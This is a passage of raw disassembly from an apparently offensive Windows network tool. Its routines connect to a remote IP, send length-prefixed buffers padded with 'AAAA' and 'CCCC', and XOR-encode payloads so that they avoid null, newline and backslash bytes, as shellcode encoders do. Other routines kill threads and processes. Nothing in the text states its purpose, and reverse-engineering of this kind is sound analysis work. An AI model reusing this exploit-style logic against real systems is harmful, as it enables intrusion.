[esp+894h+var_82C] push ecx lea ecx, [esp+898h+var_834] call sub_13ABC34 lea ecx, [esp+898h+var_83C] call sub_13ABF68 mov edx, [esp+898h+var_838] mov eax, [esp+898h+var_83C] push edx push eax lea ecx, [esp+8A0h+var_844] call sub_13AC2AB lea ecx, [esp+8A0h+var_844] call sub_13ABAB8 mov ecx, 200h mov eax, 43434343h lea edi, [esp+8A0h+var_83C] push offset dword_444BD0 rep stosd lea ecx, [esp+8A4h+var_884] call sub_13AC436 push 4 push offset dword_44485C lea ecx, [esp+8ACh+var_888] call sub_13AB6C6 mov ecx, [esp+8ACh+var_40] push esi push ecx lea ecx, [esp+8B4h+var_890] call sub_13AB6C6 mov edx, 408h lea eax, [esp+8B4h+var_850] sub edx, esi lea ecx, [esp+8B4h+var_898] push edx push eax call sub_13AB6C6 lea ecx, [esp+8BCh+var_8A0] call sub_13ABF68 mov ecx, [esp+8BCh+var_89C] mov edx, [esp+8BCh+var_8A0] push ecx push edx lea ecx, [esp+8C4h+var_878] call sub_13AB8FB mov eax, [esp+8C4h+var_86C] mov ecx, [esp+8C4h+var_870] push eax push ecx lea ecx, [esp+8CCh+var_880] call sub_13AB8FB lea ecx, [esp+8CCh+var_888] call sub_13ABBCB lea ecx, [esp+8CCh+var_8B0] call sub_13ABAB8 lea ecx, [esp+8CCh+var_878] call sub_13ABAB8 mov edx, [esp+8CCh+var_8A4] mov eax, [esp+8CCh+var_8A8] push edx push eax lea ecx, [esp+8D4h+var_890] call sub_13AB8FB mov ecx, [esp+8D4h+var_89C] mov edx, [esp+8D4h+var_8A0] push ecx push edx lea ecx, [esp+8DCh+var_898] call sub_13AB8FB mov eax, [esp+8DCh+var_894] mov ecx, [esp+8DCh+var_898] push eax push ecx lea ecx, [esp+8E4h+var_8A0] call sub_13AB8FB lea ecx, [esp+8E4h+var_8A8] call sub_13ABBCB lea ecx, [esp+8E4h+var_8C0] call sub_13ABAB8 lea ecx, [esp+8E4h+var_8B0] call sub_13ABAB8 lea ecx, [esp+8E4h+var_8A0] call sub_13ABAB8 mov ecx, 200h mov eax, 41414141h lea edi, [esp+8E4h+var_880] lea edx, [esp+8E4h+var_880] rep stosd push 400h push edx lea ecx, [esp+8ECh+var_8B8] call sub_13AB6C6 lea ecx, [esp+8ECh+var_8C0] call sub_13ABF68 push 2 push offset dword_444BCC lea ecx, [esp+8F4h+var_8C0] call sub_13AB6C6 mov eax, [esp+8F4h+var_8B4] mov ecx, [esp+8F4h+var_8B8] push eax push ecx lea ecx, [esp+8FCh+var_8C8] call sub_13AB8FB lea ecx, [esp+8FCh+var_8D0] call sub_13ABBCB lea ecx, [esp+8FCh+var_8C0] call sub_13ABAB8 lea ecx, [esp+8FCh+var_8E8] call sub_13AB6A8 lea ecx, [esp+8FCh+var_8F0] call sub_13AB6A8 mov edx, [esp+8FCh+var_8CC] mov eax, [esp+8FCh+var_8D0] push edx push eax lea ecx, [esp+904h+var_8E8] call sub_13AB8FB lea ecx, [esp+904h+var_8F0] call sub_13AB4A0 lea ecx, [esp+904h+var_8D8] call sub_13ABAB8 push offset dword_444BC8 lea ecx, [esp+908h+var_8F8] call sub_13AC436 mov ecx, [esp+908h+var_8F0] mov edx, [esp+908h+var_8F4] push ecx push edx lea ecx, [esp+910h+var_8FC] call sub_13AB8FB lea ecx, [esp+910h+var_904] call sub_13AB4A0 lea ecx, [esp+910h+var_8FC] call sub_13ABAB8 push offset dword_443EA0 lea ecx, [esp+914h+var_8FC] call sub_13AC436 mov eax, [esp+914h+var_904] mov ecx, [esp+914h+var_908] push eax push ecx lea ecx, [esp+91Ch+var_900] call sub_13AB8FB lea ecx, [esp+91Ch+var_908] call sub_13AB4A0 lea ecx, [esp+91Ch+var_910] call sub_13ABAB8 push offset dword_444BBC lea ecx, [esp+920h+var_910] call sub_13AC436 mov edx, [esp+920h+var_908] mov eax, [esp+920h+var_90C] push edx push eax lea ecx, [esp+928h+var_914] call sub_13AB8FB lea ecx, [esp+928h+var_91C] call sub_13AB4A0 lea ecx, [esp+928h+var_914] call sub_13ABAB8 push offset dword_444BB8 lea ecx, [esp+92Ch+var_8DC] call sub_13AC436 mov ecx, [esp+92Ch+var_91C] mov edx, [esp+92Ch+var_920] push ecx push edx lea ecx, [esp+934h+var_8E0] call sub_13AB8FB lea ecx, [esp+934h+var_928] call sub_13ABAB8 mov eax, [esp+934h+var_CC] mov ecx, [esp+934h+var_8E8] mov edx, [esp+934h+var_8E4] pop edi mov [eax], ecx pop esi mov [eax+4], edx pop ebx add esp, 858h retn ; --------------------------------------------------------------------------- loc_13CF035: ; CODE XREF: sub_13CEC60+1Ej ; sub_13CEC60+33j mov eax, [esp+860h+arg_0] mov ecx, [esp+860h+var_818] mov edx, [esp+860h+var_814] pop esi mov [eax], ecx mov [eax+4], edx pop ebx add esp, 858h retn sub_13CEC60 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CF160 proc near ; CODE XREF: sub_13ABEB4j var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 210h push esi mov esi, [esp+214h+arg_0] lea eax, [esp+214h+var_210] lea ecx, [esp+214h+var_104] push eax push ecx lea edx, [esp+21Ch+var_208] push 0 lea eax, [esi+1] push edx push eax mov [esp+228h+var_204], esi mov [esp+228h+var_208], 1 mov [esp+228h+var_100], esi mov [esp+228h+var_104], 1 mov [esp+228h+var_210], 0Ah mov [esp+228h+var_20C], 0 call select ; select cmp eax, 1 jz short loc_13CF1C9 xor eax, eax pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_13CF1C9: ; CODE XREF: sub_13CF160+5Dj lea ecx, [esp+214h+var_208] push ecx push esi call near ptr 13E1380h test eax, eax jnz short loc_13CF1E0 pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_13CF1E0: ; CODE XREF: sub_13CF160+76j mov edx, [esp+214h+arg_C] mov eax, [esp+214h+arg_8] mov ecx, [esp+214h+arg_4] push edx push eax push ecx push esi call recv ; recv pop esi add esp, 210h retn sub_13CF160 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CF240 proc near ; CODE XREF: sub_13AB6F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, [esp+8+arg_8] push edi push esi call htonl ; htonl mov edi, [esp+0Ch+arg_0] mov ebx, send mov [esp+0Ch+arg_8], eax push 0 lea eax, [esp+10h+arg_8] push 4 push eax push edi call ebx ; send cmp eax, 4 jz short loc_13CF273 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_13CF273: ; CODE XREF: sub_13CF240+2Bj mov ecx, [esp+0Ch+arg_4] push 0 push esi push ecx push edi call ebx ; send xor edx, edx cmp eax, esi setz dl pop edi pop esi mov al, dl pop ebx retn sub_13CF240 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CF2B0 proc near ; CODE XREF: sub_13AB6F8j var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 104h push ebx push ebp mov ebp, [esp+10Ch+arg_8] push esi lea esi, [ebp+41h] push esi mov [esp+114h+var_104], esi call malloc ; malloc mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_13CF2E3 pop esi pop ebp xor al, al pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_13CF2E3: ; CODE XREF: sub_13CF2B0+25j mov ecx, esi push edi mov edx, ecx xor eax, eax mov edi, ebx mov esi, offset dword_4448EC shr ecx, 2 rep stosd mov ecx, edx push 85h and ecx, 3 push offset dword_444864 rep stosb mov ecx, 0Bh mov edi, ebx rep movsd movsw movsb mov [ebx+2Fh], bp mov eax, ds:dword_44491C mov [ebx+31h], eax mov ecx, ds:dword_444920 mov esi, [esp+11Ch+arg_4] mov [ebx+35h], ecx mov ecx, ebp lea eax, [ebx+3Bh] mov edx, ecx mov edi, eax shr ecx, 2 mov [ebx+39h], bp add eax, ebp rep movsd mov ecx, edx and ecx, 3 rep movsb mov ecx, ds:dword_102C2E8 mov esi, [esp+11Ch+arg_0] mov [eax], ecx mov dx, ds:word_102C2EC push esi mov [eax+4], dx call sub_13AB6F3 add esp, 0Ch test al, al pop edi jnz short loc_13CF388 push ebx call free ; free add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_13CF388: ; CODE XREF: sub_13CF2B0+C0j push 0 lea eax, [esp+114h+var_100] push 100h push eax push esi call sub_13ABEB4 mov ecx, [esp+120h+var_104] push ecx push ebx push esi call sub_13AB6F3 add esp, 1Ch test al, al jnz short loc_13CF3C3 push ebx call free ; free add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_13CF3C3: ; CODE XREF: sub_13CF2B0+FBj push 0 lea edx, [esp+114h+var_100] push 100h push edx push esi call sub_13ABEB4 push ebx call free ; free add esp, 14h mov al, 1 pop esi pop ebp pop ebx add esp, 104h retn sub_13CF2B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CF440 proc near ; CODE XREF: sub_13ABC11j var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = word ptr -410h var_40E = word ptr -40Eh var_40A = dword ptr -40Ah var_406 = dword ptr -406h var_402 = word ptr -402h var_400 = byte ptr -400h var_3FF = byte ptr -3FFh var_371 = byte ptr -371h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_9E = dword ptr 0A2h sub esp, 41Ch mov ecx, 0FFh xor eax, eax push ebp push esi push edi lea edi, [esp+428h+var_3FF] rep stosd stosw stosb mov ecx, 23h mov esi, offset dword_444A90 lea edi, [esp+428h+var_400] rep movsd movsw mov ecx, offset byte_447561 movsb call sub_13ABBE4 push eax mov ecx, offset byte_447561 call sub_13ABBE4 mov ecx, [esp+42Ch+arg_0] push eax mov eax, ds:dword_44769F push eax push ecx call sub_13AC1F7 add esp, 4 lea edx, [esp+434h+var_371] push eax push offset dword_444BE4 push 400h push edx call _snprintf ; _snprintf add eax, 90h lea ecx, [esp+444h+var_418] push eax lea eax, [esp+448h+var_400] push eax push 164h push offset dword_444928 push ecx call sub_13ABFEA mov eax, [esp+458h+var_414] xor edi, edi add esp, 30h cmp eax, edi jnz short loc_13CF4E9 xor eax, eax pop edi pop esi pop ebp add esp, 41Ch retn ; --------------------------------------------------------------------------- loc_13CF4E9: ; CODE XREF: sub_13CF440+9Bj mov ebp, htons mov [esp+428h+var_41C], edi loc_13CF4F3: ; CODE XREF: sub_13CF440+158j test edi, edi jnz loc_13CF59E push 6 push 1 push 2 call socket ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_13CF581 mov eax, [esp+428h+arg_9E] xor edx, edx mov dword ptr [esp+428h+var_40E], edx push eax mov [esp+42Ch+var_40A], edx mov [esp+42Ch+var_410], 2 mov [esp+42Ch+var_406], edx mov [esp+42Ch+var_402], dx call ebp ; htons lea ecx, [esp+428h+arg_4] mov [esp+428h+var_40E], ax push ecx call inet_addr ; inet_addr lea edx, [esp+428h+var_410] push 10h push edx push esi mov [esp+28h], eax call connect ; connect cmp eax, 0FFFFFFFFh jz short loc_13CF576 mov eax, [esp+428h+var_414] mov ecx, [esp+428h+var_418] push eax push ecx push esi call sub_13AB6F8 add esp, 0Ch and eax, 0FFh mov edi, eax loc_13CF576: ; CODE XREF: sub_13CF440+11Aj push esi call closesocket ; closesocket test edi, edi jnz short loc_13CF58C loc_13CF581: ; CODE XREF: sub_13CF440+CCj push 3E8h call Sleep ; Sleep loc_13CF58C: ; CODE XREF: sub_13CF440+13Fj mov eax, [esp+428h+var_41C] inc eax cmp eax, 2 mov [esp+428h+var_41C], eax jl loc_13CF4F3 loc_13CF59E: ; CODE XREF: sub_13CF440+B5j lea ecx, [esp+428h+var_418] call sub_13ABAB8 test edi, edi jz short loc_13CF5CE sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+4E4h+arg_0] mov edi, esp rep movsd movsw call sub_13AB54F add esp, 0BCh loc_13CF5CE: ; CODE XREF: sub_13CF440+169j pop edi pop esi mov eax, 1 pop ebp add esp, 41Ch retn sub_13CF440 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CF650 proc near ; CODE XREF: sub_13AB7C5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [esp+4+arg_0] not ecx dec ecx mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx pop edi lea eax, [ecx+edx*2+0C1h] retn sub_13CF650 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CF690 proc near ; CODE XREF: sub_13ABB8Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_8] push esi mov esi, [esp+8+arg_C] push esi push ebx call sub_13AB7C5 mov ecx, [esp+10h+arg_4] add esp, 8 cmp eax, ecx mov [esp+8+arg_8], eax jbe short loc_13CF6B5 pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_13CF6B5: ; CODE XREF: sub_13CF690+1Ej push ebp push edi or ecx, 0FFFFFFFFh mov edi, ebx xor eax, eax mov ebp, [esp+10h+arg_0] repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov esi, offset dword_444CB8 mov eax, ecx mov edi, ebp lea ecx, [eax+edx+12h] mov ds:dword_444D1C, ecx lea ecx, [eax+1] mov ds:dword_444D3D, ecx lea ecx, [eax+17h] mov ds:dword_444D35, ecx mov ecx, 0FFFFFFEDh sub ecx, eax mov ds:dword_444D4B, ecx mov ecx, 1Dh rep movsd mov ecx, edx mov esi, ebx mov ebx, ecx lea edi, [ebp+74h] shr ecx, 2 rep movsd mov ecx, ebx add edx, 74h and ecx, 3 rep movsb mov esi, ds:dword_444D2C lea ecx, [edx+ebp] add edx, 5 mov [ecx], esi mov bl, ds:byte_444D30 mov esi, [esp+10h+arg_C] lea edi, [edx+ebp] mov [ecx+4], bl mov ecx, eax mov ebx, ecx add edx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov esi, ds:dword_444D31 lea ecx, [edx+ebp] add edx, 10h mov [ecx], esi mov esi, ds:dword_444D35 lea edi, [edx+ebp] mov [ecx+4], esi mov esi, ds:dword_444D39 mov [ecx+8], esi mov esi, ds:dword_444D3D mov [ecx+0Ch], esi mov esi, [esp+10h+arg_C] mov ecx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [edx+eax] mov eax, [esp+10h+arg_8] add edi, ebp mov ecx, 0Eh mov esi, offset byte_444D41 rep movsd pop edi pop ebp pop esi pop ebx retn sub_13CF690 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CF800 proc near ; CODE XREF: sub_13AC562j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_13AB7C5 push eax call sub_13ABBBC add esp, 0Ch retn sub_13CF800 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CF830 proc near ; CODE XREF: sub_13ABB35j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_8] push ebp push edi mov edi, [esp+0Ch+arg_C] push edi push ebx call sub_13AC562 mov ebp, [esp+14h+arg_4] add esp, 8 cmp eax, ebp jbe short loc_13CF853 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_13CF853: ; CODE XREF: sub_13CF830+1Bj cmp eax, 0FFFFh jbe short loc_13CF860 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_13CF860: ; CODE XREF: sub_13CF830+28j push esi push edi push ebx call sub_13AB7C5 add eax, 101h push eax call malloc ; malloc add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_13AB7C5 add esp, 8 push eax push esi call sub_13ABB8A push eax mov eax, [esp+24h+arg_0] push esi push ebp push eax call sub_13ABF77 push esi mov edi, eax call free ; free add esp, 24h mov eax, edi pop esi pop edi pop ebp pop ebx retn sub_13CF830 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CF8D0 proc near ; CODE XREF: sub_13ABBBCj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_13CF8D9 inc ecx loc_13CF8D9: ; CODE XREF: sub_13CF8D0+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_13CF8D0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CF900 proc near ; CODE XREF: sub_13ABF77j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_C] cmp bl, 0Ah jz short loc_13CF918 cmp bl, 0Dh jz short loc_13CF918 cmp bl, 5Ch jz short loc_13CF918 test bl, bl jnz short loc_13CF919 loc_13CF918: ; CODE XREF: sub_13CF900+8j ; sub_13CF900+Dj ... inc ebx loc_13CF919: ; CODE XREF: sub_13CF900+16j cmp ebx, 0FFh jbe short loc_13CF93C mov eax, ebx shr eax, 8 cmp al, 0Ah jz short loc_13CF936 cmp al, 0Dh jz short loc_13CF936 cmp al, 5Ch jz short loc_13CF936 test al, al jnz short loc_13CF93C loc_13CF936: ; CODE XREF: sub_13CF900+28j ; sub_13CF900+2Cj ... add ebx, 100h loc_13CF93C: ; CODE XREF: sub_13CF900+1Fj ; sub_13CF900+34j push ebx call sub_13ABBBC mov ecx, [esp+8+arg_4] add esp, 4 cmp eax, ecx mov [esp+4+arg_C], eax jbe short loc_13CF955 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_13CF955: ; CODE XREF: sub_13CF900+4Fj cmp eax, 0FFFFh jbe short loc_13CF960 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_13CF960: ; CODE XREF: sub_13CF900+5Aj mov al, ds:byte_102C2F0 xor edx, edx push ebp mov ebp, [esp+8+arg_8] test ebx, ebx push esi jbe short loc_13CF990 loc_13CF971: ; CODE XREF: sub_13CF900+8Ej mov cl, [edx+ebp] xor cl, al jz short loc_13CF987 cmp cl, 0Ah jz short loc_13CF987 cmp cl, 0Dh jz short loc_13CF987 cmp cl, 5Ch jnz short loc_13CF98B loc_13CF987: ; CODE XREF: sub_13CF900+76j ; sub_13CF900+7Bj ... inc al xor edx, edx loc_13CF98B: ; CODE XREF: sub_13CF900+85j inc edx cmp edx, ebx jb short loc_13CF971 loc_13CF990: ; CODE XREF: sub_13CF900+6Fj cmp ebx, 0FFh push edi mov ds:byte_102C2F0, al ja short loc_13CF9C3 mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset dword_444CA0 mov edi, edx mov ds:byte_444CAD, bl mov ds:byte_444CB1, al rep movsd movsb mov esi, 15h jmp short loc_13CF9E9 ; --------------------------------------------------------------------------- loc_13CF9C3: ; CODE XREF: sub_13CF900+9Cj mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset dword_444C88 mov edi, edx mov ds:word_444C96, bx mov ds:byte_444C9B, al rep movsd movsw movsb mov esi, 17h loc_13CF9E9: ; CODE XREF: sub_13CF900+C1j xor ecx, ecx pop edi test ebx, ebx jbe short loc_13CF9FF add esi, edx loc_13CF9F2: ; CODE XREF: sub_13CF900+FDj mov dl, [ecx+ebp] xor dl, al mov [esi+ecx], dl inc ecx cmp ecx, ebx jb short loc_13CF9F2 loc_13CF9FF: ; CODE XREF: sub_13CF900+EEj mov eax, [esp+0Ch+arg_C] pop esi pop ebp pop ebx retn sub_13CF900 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CFA60 proc near ; CODE XREF: sub_13AC224j arg_0 = dword ptr 4 mov eax, [esp+arg_0] lea ecx, [eax+eax*4] lea ecx, [ecx+ecx*4] lea ecx, [eax+ecx*8] lea ecx, [ecx+ecx*4] lea edx, [ecx+ecx*4] xor ecx, ecx lea eax, dword_448FDB[eax+edx*2] mov [eax+2723h], ecx mov [eax+270Fh], ecx mov [eax+2713h], ecx mov [eax+2717h], ecx mov [eax+271Bh], ecx mov [eax+271Fh], ecx mov [eax], cl mov [eax+2727h], cl retn sub_13CFA60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CFAD0 proc near ; CODE XREF: sub_13AB770j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push ebp xor ebx, ebx xor ebp, ebp cmp eax, ebx jle loc_13CFB7F cmp eax, 400h jge loc_13CFB7F lea ecx, [eax+eax*4] push esi push edi push ebx lea ecx, [ecx+ecx*4] lea ecx, [eax+ecx*8] lea ecx, [ecx+ecx*4] lea edx, [ecx+ecx*4] lea esi, dword_448FDB[eax+edx*2] mov eax, ds:dword_44B6FE[eax+edx*2] push eax call TerminateThread ; TerminateThread cmp [esi+2723h], ebx jz short loc_13CFB21 mov ebp, 1 loc_13CFB21: ; CODE XREF: sub_13CFAD0+4Aj mov [esi+2723h], ebx mov [esi+270Fh], ebx mov [esi+2713h], ebx mov eax, [esi+2717h] cmp eax, ebx jbe short loc_13CFB46 push eax call sub_13AC06C add esp, 4 loc_13CFB46: ; CODE XREF: sub_13CFAD0+6Bj mov edi, closesocket mov [esi+2717h], ebx mov [esi], bl mov [esi+2727h], bl mov ecx, [esi+271Bh] push ecx call edi ; closesocket mov [esi+271Bh], ebx mov edx, [esi+271Fh] push edx call edi ; closesocket mov [esi+271Fh], ebx pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_13CFB7F: ; CODE XREF: sub_13CFAD0+Cj ; sub_13CFAD0+17j mov eax, ebp pop ebp pop ebx retn sub_13CFAD0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CFBC0 proc near ; CODE XREF: sub_13AC193j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push ebp push esi push edi xor ebp, ebp xor edi, edi mov esi, offset dword_44B6EE loc_13CFBD1: ; CODE XREF: sub_13CFBC0+52j mov eax, [esp+10h+arg_0] mov ecx, [esi-4] cmp ecx, eax jnz short loc_13CFC05 test ebx, ebx jle short loc_13CFBF7 cmp [esi], ebx jz short loc_13CFBE8 cmp edi, ebx jnz short loc_13CFC05 loc_13CFBE8: ; CODE XREF: sub_13CFBC0+22j push edi call sub_13AB770 add esp, 4 test eax, eax jz short loc_13CFC05 jmp short loc_13CFC04 ; --------------------------------------------------------------------------- loc_13CFBF7: ; CODE XREF: sub_13CFBC0+1Ej push edi call sub_13AB770 add esp, 4 test eax, eax jz short loc_13CFC05 loc_13CFC04: ; CODE XREF: sub_13CFBC0+35j inc ebp loc_13CFC05: ; CODE XREF: sub_13CFBC0+1Aj ; sub_13CFBC0+26j ... add esi, 2743h inc edi cmp esi, offset word_E1C2EE jl short loc_13CFBD1 pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_13CFBC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CFC40 proc near ; CODE XREF: sub_13AC06Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi push eax push 0 push 1F0FFFh mov edi, 1 call OpenProcess ; OpenProcess mov esi, eax test esi, esi jz short loc_13CFC75 push 0 push esi call TerminateProcess ; TerminateProcess test eax, eax jnz short loc_13CFC75 push esi xor edi, edi call CloseHandle ; CloseHandle loc_13CFC75: ; CODE XREF: sub_13CFC40+1Dj ; sub_13CFC40+2Aj mov eax, edi pop edi pop esi retn sub_13CFC40 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CFC90 proc near ; CODE XREF: sub_13AB883j arg_0 = dword ptr 4 mov edx, [esp+arg_0] xor eax, eax mov ecx, offset word_44B6EA loc_13CFC9B: ; CODE XREF: sub_13CFC90+1Cj cmp [ecx], edx jnz short loc_13CFCA0 inc eax loc_13CFCA0: ; CODE XREF: sub_13CFC90+Dj add ecx, 2743h cmp ecx, offset word_E1C2EA jl short loc_13CFC9B retn sub_13CFC90 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CFCC0 proc near ; CODE XREF: sub_13AC18Ej arg_0 = dword ptr 4 mov edx, [esp+arg_0] push esi xor esi, esi xor eax, eax mov ecx, offset word_44B6EA loc_13CFCCE: ; CODE XREF: sub_13CFCC0+1Fj cmp [ecx], edx jz short loc_13CFCE3 add ecx, 2743h inc eax cmp ecx, offset word_E1C2EA jl short loc_13CFCCE mov eax, esi loc_13CFCE3: ; CODE XREF: sub_13CFCC0+10j pop esi retn sub_13CFCC0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CFD00 proc near ; CODE XREF: sub_13ABFD6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_448FDB loc_13CFD08: ; CODE XREF: sub_13CFD00+18j cmp byte ptr [eax], 0 jz short loc_13CFD1E add eax, 2743h inc edi cmp eax, offset dword_E19BDB jl short loc_13CFD08 mov eax, edi pop edi retn ; --------------------------------------------------------------------------- loc_13CFD1E: ; CODE XREF: sub_13CFD00+Bj lea eax, [edi+edi*4] mov edx, [esp+4+arg_0] push esi push 270Eh lea eax, [eax+eax*4] push edx lea eax, [edi+eax*8] lea eax, [eax+eax*4] lea ecx, [eax+eax*4] lea esi, dword_448FDB[edi+ecx*2] push esi call strncpy ; strncpy mov eax, [esp+14h+arg_4] mov ecx, [esp+14h+arg_8] mov [esi+270Fh], eax mov dword ptr [esi+2713h], 0 add esp, 0Ch mov dword ptr [esi+2717h], 0 mov [esi+271Bh], ecx mov byte ptr [esi+2727h], 0 mov eax, edi pop esi pop edi retn sub_13CFD00 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CFDA0 proc near ; CODE XREF: sub_13ABA09j var_6C = byte ptr -6Ch var_60 = byte ptr -60h var_54 = byte ptr -54h var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_34 = dword ptr -34h var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 43B5F8h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 7 push 0Eh push 9 push 10h push 4Fh push 13h push 0Fh mov esi, ecx push 4 lea eax, [esp+68h+var_3C] push 4 push eax mov dword ptr [esi+118h], 0 mov byte ptr [esi+11Ch], 0 call sub_13ABDB5 add esp, 2Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_13ABBE4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 or edi, 0FFFFFFFFh lea ecx, [esp+50h+var_48] mov [esp+50h+var_10], edi call sub_13AB626 push 0 push 10h push 4 push 15h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+70h+var_48] push 4 push edx call sub_13ABDB5 add esp, 28h push esi mov ecx, eax mov [esp+54h+var_10], 1 call sub_13ABBE4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+5Ch+var_54] mov [esp+5Ch+var_1C], edi call sub_13AB626 push 0 push 0Eh push 19h push 13h push 4Fh push 13h push 0Fh push 4 lea ecx, [esp+7Ch+var_54] push 4 push ecx call sub_13ABDB5 add esp, 28h push esi mov ecx, eax mov [esp+60h+var_1C], 2 call sub_13ABBE4 lea edx, [esi+60h] push eax push edx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+68h+var_60] mov [esp+68h+var_28], edi call sub_13AB626 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 13h push 0Fh push 4 lea eax, [esp+8Ch+var_60] push 4 push eax call sub_13ABDB5 add esp, 2Ch push esi mov ecx, eax mov [esp+6Ch+var_28], 3 call sub_13ABBE4 lea ecx, [esi+0EAh] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+74h+var_6C] mov [esp+74h+var_34], edi call sub_13AB626 push 0 push 0Eh push 19h push 13h push 4 push 13h push 4Fh push 13h push 0Fh push 